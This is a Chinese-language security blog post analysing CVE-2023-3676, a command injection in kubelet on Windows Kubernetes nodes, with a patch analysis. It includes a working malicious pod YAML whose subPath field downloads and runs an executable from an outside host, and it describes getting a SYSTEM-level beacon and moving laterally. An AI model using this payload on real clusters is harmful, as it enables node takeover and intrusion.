K8S 中对 Windows 节点的利用

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漏洞概述

漏洞详情

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漏洞验证

补丁分析

在集群中探索

参考资料

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在许多组织中，所运行的很大一部分服务和应用是 Windows 应用。Windows 容器提供了一种封装进程和包依赖项的方式，从而简化了 DevOps 实践，令 Windows 应用程序同样遵从云原生模式，实际生产中存在很多这样的混合集群。

K8S后渗透横向节点与持久化隐蔽方式探索

K8S API访问控制之RBAC利用?

之前两篇有关 K8S 的文章👆（点击文章查看），分别探索了对于 K8S 本身功能的利用、多种不同 RBAC 权限的利用，但是对于集群中 Windows 节点的情况下并未去研究，刚好近期 K8S 的一些漏洞是针对 Windows 节点。

漏洞概述

近期 kubernetes 中发现了漏洞 CVE-2023-3676，该漏洞可在集群中的 Windows 节点上创建 pod，并在节点上提权到管理员权限。?

受影响的版本：

• ??kubelet <= v1.28.0

• ??kubelet <= v1.27.4

• ??kubelet <= v1.26.7

• ??kubelet <= v1.25.12

• ??kubelet <= v1.24.16

漏洞详情

该漏洞是一个典型的命令注入，由于节点上运行的 kubelet 是由本地最高权限即管理员权限，通过创建 pod 使用 kubelet 的权限以达到提权。

命令注入就是将用户提交的数据未经过滤或者过滤不严格，通过拼接将参数传入调用系统命令的函数调用处。

用户在集群中创建 pod 时，可以在主机和 pod 之间创建共享目录就是卷，卷主要用来多个 pod 共享文件，或者持久化容器生命周期内创建或修改的文件。

在 pod 中共享卷是非常方便的，volumeMounts.subPath?属性可用于指定所引用的卷内的子路径，而不是其根路径。

该漏洞就是通过 kubelet 在解析?subPath?参数时，未经处理直接传递给?Powershell，通过 PS 检查并解析符号链接。

kubelet 在解析 yaml 文件时，会调用函数isLinkPath来对subPath进行校验已确保不会因为该参数创建符号链接。

该函数主要讲subPath作为参数确实是否为符号链接，然后创建一个PS命令，并通过exec.Command之间调用，而在这里并未做其他校验直接进行了命令调用，存在命令注入的可能。

而?Powershell中的子表达式运算符$()返回一个或多个语句的结果。对于单个结果，返回一个标量。对于多个结果，返回一个数组。如果要在另一个表达式中使用某个表达式，请使用此方法。例如，在字符串表达式中嵌入命令的结果。

PS> "Today is $(Get-Date)"
Today is 12/02/2019 13:15:20

PS> "Folder list: $((dir c:\ -dir).Name -join ', ')"
Folder list: Program Files, Program Files (x86), Users, Windows

除了以上示例外其他任何 PS 命令都可以使用，如$(Start-Process cmd)、$(Invoke-Expression exp)等等。

漏洞验证

通过上面分析我们可以构建一个恶意的 pod 进行验证，参考下面的 yaml

apiVersion: v1
kind: Pod
metadata:
  name: cve-2023-3676
spec:
  containers:
  - name: test
    image: mcr.microsoft.com/powershell:lts-7.2-nanoserver-1809
    command: ["pwsh"]
    args: ["-Command", "Start-Sleep", "3600"]
    volumeMounts:
    - name: win-etc
      mountPath: c:\etc
      subPath: $(Start-process powershell (new-object System.Net.WebClient).DownloadFile('http://x.xx.x.x/a.exe','C:\a.exe');start-process 'C:\a.exe')
  nodeSelector:
    kubernetes.io/os: windows
  volumes:
  - name: win-etc

执行并创建该 pod，并将 cmd 设置为 cs 生成的 ps。

kubectl apply -f CVE-2023-3676.yaml

由于 subPath 不正确 pod 创建失败，但是命令成功执行，成功上线并且权限也是管理员nt authority\system，而且由于 pod 创建失败会一直创建不停上线，后续还需优化。

补丁分析

下图为官方对漏洞修复的代码

设置了?$ErrorActionPreference = 'Stop'：这意味着如果PowerShell报错就会抛出异常并终止命令的执行，阻碍了攻击者通过错误获得信息。

使用?-Force 和 $env:linkpath：在命令中使用了?-Force?参数和?$env:linkpath?变量，以确保在获取目标文件时跳过安全限制，并使用环境变量传递路径值，这样作为变量传递的话参数将被视为字符串而不能在计算表达式。

使用?cmd.Env设置环境变量：将 path 值作为环境变量传递给，而不是直接拼接到命令中，阻止了命令注入的问题。

在集群中探索

结合之前的文章，可以在存在 RBAC 权限符合的情况下，在 Windows 节点上创建恶意的 pod 完成内网横向并且获得权限且是管理员权限，Windows 节点由于该利用会导致无法创建成功。

如果利用 Windows 版本的 kube-proxy 会导致集群出现问题，其中 kube-proxy-windows 会使用到一个 ps 脚本，该脚本存放在 configmap 中，也可以修改该脚本完成横向

参考资料

• ??https://github.com/kubernetes/kubernetes/issues/119339

• ??https://www.akamai.com/blog/security-research/kubernetes-critical-vulnerability-command-injection

• ??https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.4